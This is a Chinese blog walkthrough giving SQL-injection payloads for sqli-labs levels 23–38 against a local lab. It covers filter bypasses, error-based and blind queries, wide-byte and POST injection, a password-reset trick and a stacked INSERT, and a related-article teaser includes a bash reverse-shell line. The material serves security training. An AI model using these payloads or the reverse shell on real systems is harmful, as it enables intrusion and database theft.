Sqli-labs靶场payload（23-38进阶篇）原创

2023-11-23 22:10
文章标签 进阶篇 靶场 23 labs 38 原创 payload sqli

本文主要是介绍Sqli-labs靶场payload（23-38进阶篇）原创，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

T23 单引号闭合 --+ #过滤 所以可以尝试补全的方法 
127.0.0.1/sqli-labs/Less-23/?id=1' or '1'='1
127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,2,3 or '1'='1
127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,database(),3 or '1'='1
127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema="security" or '1'='1
127.0.0.1/sqli-labs/Less-23/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" or '1'='1
T24  密码重置越权漏洞
Desired Username:admin' #
Password:123
Retype Password:123
then-->Login
Change Password
Current Password:123
New Password:123456
Retype Password:123456
then Logout
Username:admin
Password:123456
Login Successfully!
T25 单引号闭合  屏蔽内容：or and 
http://127.0.0.1/sqli-labs/Less-25/?id=1' --+
http://127.0.0.1/sqli-labs/Less-25/?id=1' order by 3 --+   //屏蔽了or
http://127.0.0.1/sqli-labs/Less-25/?id=1' oRder by 3 --+   //大小写绕过失败
http://127.0.0.1/sqli-labs/Less-25/?id=1' oorrder by 3 --+   //双写绕过成功
127.0.0.1/sqli-labs/Less-25/?id=-1' union select 1,2,3 --+
127.0.0.1/sqli-labs/Less-25/?id=-1' union select 1,database(),3 --+
http://127.0.0.1/sqli-labs/Less-25/?id=1' or '1'='1   //屏蔽了or
http://127.0.0.1/sqli-labs/Less-25/?id=1' || '1'='1   //绕过成功
http://127.0.0.1/sqli-labs/Less-25/?id=-1' union select 1,database(),3 || '1'='1
http://127.0.0.1/sqli-labs/Less-25/?id=1' and '1'='1  //屏蔽了and
http://127.0.0.1/sqli-labs/Less-25/?id=1' && '1'='1  //屏蔽了&&
http://127.0.0.1/sqli-labs/Less-25/?id=1' anandd '1'='1   //双写绕过成功
http://127.0.0.1/sqli-labs/Less-25/?id=1' %26%26 '1'='1   //url编码绕过成功

T25a 屏蔽#  数字型 and or过滤 

and 1=2 会报错的说明是数字型 不报错的是字符型  数字型不用闭合 所以逻辑语句有意义 字符型在没有闭合的情况下 输入的内容都是字符类型 不具有逻辑判断功能
http://127.0.0.1/sqli-labs/Less-25a/?id=1 and 1=2
http://127.0.0.1/sqli-labs/Less-25a/?id=1 anandd 1=2   //报错 说明是数字型
http://127.0.0.1/sqli-labs/Less-25a/?id=1 oorrder by 3
http://127.0.0.1/sqli-labs/Less-25a/?id=-1 union select 1,2,3
http://127.0.0.1/sqli-labs/Less-25a/?id=-1 union select 1,database(),3
T26 单引号闭合 屏蔽了空格 屏蔽了注释符 or and 也屏蔽了减号 所以id只能写很大来报错 
http://127.0.0.1/sqli-labs/Less-26/?id=1' or '1'='1   //屏蔽了or 和空格
http://127.0.0.1/sqli-labs/Less-26/?id=1' || '1'='1   //成功绕过or 还剩空格限制
http://127.0.0.1/sqli-labs/Less-26/?id=1'order by 4||'1'='1  //order被过滤掉了or 同时空格被过滤掉了
http://127.0.0.1/sqli-labs/Less-26/?id=1'oorrder by 4||'1'='1  //双写绕过order过滤 还剩空格
http://127.0.0.1/sqli-labs/Less-26/?id=1'oorrder%09by%094||'1'='1  //特殊编码%09绕过失败
有待补充空格绕过方法
id=1'
id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||'1'='1
id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema,tables)where(table_schema)like(database())),0x7e),1))||'1'='1
T26a 屏蔽注释符 屏蔽减号 屏蔽or（大小写or绕过无效）屏蔽and 屏蔽&& 不屏蔽||  屏蔽空格  闭合方式('')
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
} 
http://127.0.0.1/sqli-labs/Less-26a/?id=3' ||'  闭合错误
http://127.0.0.1/sqli-labs/Less-26a/?id=3') ||('   闭合成功！
http://127.0.0.1/sqli-labs/Less-26a/?id=3') oorrder by 3 ||('    //Hint: Your Input is Filtered with following result: 3')orderby3||('
http://127.0.0.1/sqli-labs/Less-26a/?id=3')union select 1,2,3||('    //result: 3')unionselect1,2,3||('
//可能由于环境问题 windows下无法绕过空格 只能想办法构造无空格的语句
http://127.0.0.1/sqli-labs/Less-26a/?id=3')anandd('')||('
http://127.0.0.1/sqli-labs/Less-26a/?id=3')anandd('updatexml(1,concat(0x7e,(select(database())),0x7e),1)')||('    //报错方式没有回显
http://127.0.0.1/sqli-labs/Less-26a/?id=300000')oorr('updatexml(1,concat(0x7e,(select(database())),0x7e),1)')||('   //报错方式没有回显
接下来尝试盲注方式
http://127.0.0.1/sqli-labs/Less-26a/?id=300000')oorr('(if(length(database())=8,1,sleep(5)))')||('
T27 单引号闭合 屏蔽了减号 注释符 空格 
http://127.0.0.1/sqli-labs/Less-27/?id=1' --+  //屏蔽了减号
http://127.0.0.1/sqli-labs/Less-27/?id=1' or '1'='1  //屏蔽了空格
http://127.0.0.1/sqli-labs/Less-27/?id=1' union select 1,2,3 or '1'='1  //屏蔽了空格和union select
http://127.0.0.1/sqli-labs/Less-27/?id=1' uNion sElect 1,2,3 or '1'='1  //union select大小写绕过成功
http://127.0.0.1/sqli-labs/Less-27/?id=1' ununionion seselectlect 1,2,3 or '1'='1  //双写绕过union成功 select失败
http://127.0.0.1/sqli-labs/Less-27/?id=100000'%0buNion%0bsElect%0b1,2,3%0bor%0b'1'='1  // %0b绕过空格成功大小写绕过union select屏蔽成功！
http://127.0.0.1/sqli-labs/Less-27/?id=100000'%0buNion%0bsElect%0b1,database(),3%0bor%0b'1'='1
http://127.0.0.1/sqli-labs/Less-27/?id=100000'%0buNion%0bsElect%0b1,group_concat(table_name),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema="security"%0bor%0b'1'='1
http://127.0.0.1/sqli-labs/Less-27/?id=300000'%0buNion%0bsElEct%0b1,2,3 ||'1'='1
T27a 屏蔽空格  屏蔽注释符 没屏蔽and和or   屏蔽select  是双引号闭合 则直接闭合语句  
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out Select
return $id;
}
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; 
http://127.0.0.1/sqli-labs/Less-27a/?id=1 and 1=2
http://127.0.0.1/sqli-labs/Less-27a/?id=1%0band%0b1=2
http://127.0.0.1/sqli-labs/Less-27a/?id=20000" %0auniOn%0aSEleCT%0a1,2,3||"1"="1
http://127.0.0.1/sqli-labs/Less-27a/?id=20000" %0auniOn%0aSEleCT%0a1,database(),3||"1"="1
http://127.0.0.1/sqli-labs/Less-27a/?id=20000" %0auniOn%0aSEleCT%0a1,database(),3||"1"="1
http://127.0.0.1/sqli-labs/Less-27a/?id=20000" %0auniOn%0aSEleCT%0a1,group_concat(table_name),3 from information_schema.tables where table_schema=database()||"1"="1
http://127.0.0.1/sqli-labs/Less-27a/?id=20000"%0a%0auniOn%0aSEleCT%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()||"1"="1
http://127.0.0.1/sqli-labs/Less-27a/?id=20000"%0buniOn%0bsElect%0b1,2,3%0bor"1"="1
★T28  单引号闭合  屏蔽了空格，--+ #   屏蔽方法：union select同时出现一起屏蔽 不单独屏蔽 
http://127.0.0.1/sqli-labs/Less-28/?id=2')or('
http://127.0.0.1/sqli-labs/Less-28/?id=2000') union select 1,2,3 or('
http://127.0.0.1/sqli-labs/Less-28/?id=2000')%0bunion%0bunion%0bselect%0bselect%0b1,2,3%0bor('
http://127.0.0.1/sqli-labs/Less-28/?id=2000')%0bunion%0bunion%0bselect%0bselect%0b1,group_concat(table_name),3 from information_schema.tables where table_schema="security" %0bor('
http://127.0.0.1/sqli-labs/Less-28/?id=2000')%0bunion%0bunion%0bselect%0bselect%0b1,group_concat(table_name),3%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema="security"%0b%0bor('
http://127.0.0.1/sqli-labs/Less-28/?id=20000')%0bunion%0bunion%0bselect%0bselect%0b1,2,3%0bor%0b('1')=('1
T28a  union select屏蔽  屏蔽# 不屏蔽--+  闭合是('')  
经验：order by能报错才是正确的闭合 有时候双引号也能正确 但是并不是正确的闭合 双引号后面不会执行 
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
http://127.0.0.1/sqli-labs/Less-28a/?id=1 and 1=2   //没有报错 说明不是数字型
http://127.0.0.1/sqli-labs/Less-28a/?id=2" #  //找到闭合为双引号
http://127.0.0.1/sqli-labs/Less-28a/?id=2') order by 3--+
http://127.0.0.1/sqli-labs/Less-28a/?id=-2') union select 1,2,3 --+
http://127.0.0.1/sqli-labs/Less-28a/?id=-2')union union select select 1,2,3 --+
http://127.0.0.1/sqli-labs/Less-28a/?id=-2')union union select select 1,database(),3 --+
T29-T31暂时不做
T32 宽字节注入 单引号闭合 
http://127.0.0.1/sqli-labs/Less-32/?id=1'--+  //单引号被反斜杠注释了
http://127.0.0.1/sqli-labs/Less-32/?id=1%df'--+
http://127.0.0.1/sqli-labs/Less-32/?id=1%df' order by 3 --+
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,2,3 --+
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema ="security" --+  //security的两个引号被过滤了
http://127.0.0.1/sqli-labs/Less-32/?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema =0x7365637572697479 --+
T33 宽字节注入 单引号闭合 和T32一致 
http://127.0.0.1/sqli-labs/Less-33/?id=1%df'--+
http://127.0.0.1/sqli-labs/Less-33/?id=1%df' order by 3 --+
http://127.0.0.1/sqli-labs/Less-33/?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema =0x7365637572697479 --+
T34 POST注入之宽字节注入 单引号闭合 
uname=admin%df' #&passwd=admin&submit=Submit
uname=admin%df'order by 2 #&passwd=admin&submit=Submit
uname=adn%df' union select 1,2 #&passwd=admin&submit=Submit
uname=adn%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 #&passwd=admin&submit=Submit
T35 数字型注入+宽字节注入 无需闭合 
http://127.0.0.1/sqli-labs/Less-35/?id=1 and 1=1
http://127.0.0.1/sqli-labs/Less-35/?id=1 and 1=2
http://127.0.0.1/sqli-labs/Less-35/?id=-1 union select 1,2,3
http://127.0.0.1/sqli-labs/Less-35/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479
T36 宽字节注入 单引号闭合 
http://127.0.0.1/sqli-labs/Less-36/?id=1%df' --+
http://127.0.0.1/sqli-labs/Less-36/?id=1%df' order by 3 --+
http://127.0.0.1/sqli-labs/Less-36/?id=-1%df' union select 1,2,3 --+
http://127.0.0.1/sqli-labs/Less-36/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
T37 POST注入 宽字节注入 
uname=admin%df' #&passwd=aa&submit=Submit
uname=admin%df' order by 2 #&passwd=aa&submit=Submit
uname=ain%df' union select 1,2 #&passwd=aa&submit=Submit
uname=ain%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 #&passwd=aa&submit=Submit
T38 堆叠查询注入 
http://127.0.0.1/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values(70,'zjzj','hahaha') --+
http://127.0.0.1/sqli-labs/Less-38/?id=70

这篇关于Sqli-labs靶场payload（23-38进阶篇）原创的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/420755。

相关文章

龙蜥操作系统Anolis OS-23.x安装配置图解教程(保姆级)

龙蜥操作系统Anolis OS-23.x安装配置图解教程(保姆级)

《龙蜥操作系统AnolisOS-23.x安装配置图解教程(保姆级)》：本文主要介绍了安装和配置AnolisOS23.2系统，包括分区、软件选择、设置root密码、网络配置、主机名设置和禁用SELinux的步骤，详细内容请阅读本文，希望能对你有所帮助... ‌AnolisOS‌是由阿里云推出的开源操作系统，旨
阅读更多...
安卓链接正常显示，ios#符被转义%23导致链接访问404

安卓链接正常显示，ios#符被转义%23导致链接访问404

原因分析： url中含有特殊字符 中文未编码 都有可能导致URL转换失败，所以需要对url编码处理  如下： guard let allowUrl = webUrl.addingPercentEncoding(withAllowedCharacters: .urlQueryAllowed) else {return} 后面发现当url中有#号时，会被误伤转义为%23，导致链接无法访问
阅读更多...
BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点：Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点：弱密码字典爆破 四种方法：   [web][极客大挑战 2019]Http 考点：Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩，我们先查看源代码
阅读更多...
LLM系列 | 38：解读阿里开源语音多模态模型Qwen2-Audio

LLM系列 | 38：解读阿里开源语音多模态模型Qwen2-Audio

引言 模型概述 模型架构 训练方法 性能评估 实战演示 总结 引言 金山挂月窥禅径，沙鸟听经恋法门。 小伙伴们好，我是微信公众号《小窗幽记机器学习》的小编：卖铁观音的小男孩，今天这篇小作文主要是介绍阿里巴巴的语音多模态大模型Qwen2-Audio。近日，阿里巴巴Qwen团队发布了最新的大规模音频-语言模型Qwen2-Audio及其技术报告。该模型在音频理解和多模态交互
阅读更多...
【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup（文件上传+PHP+文件包含漏洞+PNG图片马）

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup（文件上传+PHP+文件包含漏洞+PNG图片马）

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法，大家不要自限思维！ 2.本项目提供的writeup只是起一个参考作用，希望大家可以分享出自己的通关思路
阅读更多...
xss-labs-master通关教程

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出，并不是echo执行的，而是echo把HTML代码发送到浏览器，浏览器对发送的H
阅读更多...
华为23年笔试题

华为23年笔试题

消息传输 题目描述 在给定的 m x n (1 <= m, n <= 1000) 网格地图 grid 中，分布着一些信号塔，用于区域间通信。 每个单元格可以有以下三种状态：  值 0 代表空地，无法传递信号；  值 1 代表信号塔 A，在收到消息后，信号塔 A 可以在 1ms 后将信号发送给上下左右四个方向的信号塔； 值 2 代表信号塔 B，在收到消息后，信号塔 B 可以在 2ms
阅读更多...
log4j靶场，反弹shell

log4j靶场，反弹shell

1.用vulhub靶场搭建，首先进入目录CVE-2021-44228中，docker启动命令 2.发现端口是8983，浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显，看看有没有漏洞存在 4.反弹shell到kali（ip为172.16.1.18）的8888端口 bash -i >& /dev/tcp/172.16.1.18
阅读更多...
leetcode#38. Count and Say

leetcode#38. Count and Say

The count-and-say sequence is the sequence of integers with the first five terms as following: 1. 12. 113. 214. 12115. 111221 1 is read off as “one 1” or 11. 11 is read off
阅读更多...
python进阶篇-day07-高级语法与正则

python进阶篇-day07-高级语法与正则

day07-python其他高级语法 一. with(上下文管理) 介绍 概述 一个类只要实现了__ enter __ () 和 __ exit __ ()方法, 这个类就是一个上下文管理器类, 该类的对象 = 上下文管理器对象 目的 节约资源, 提高效率, 避免手动释放资源, 且出bug的时候, 也会自动尝试释放资源 特点 上下文管理器对象, 可以结合with语句使用
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2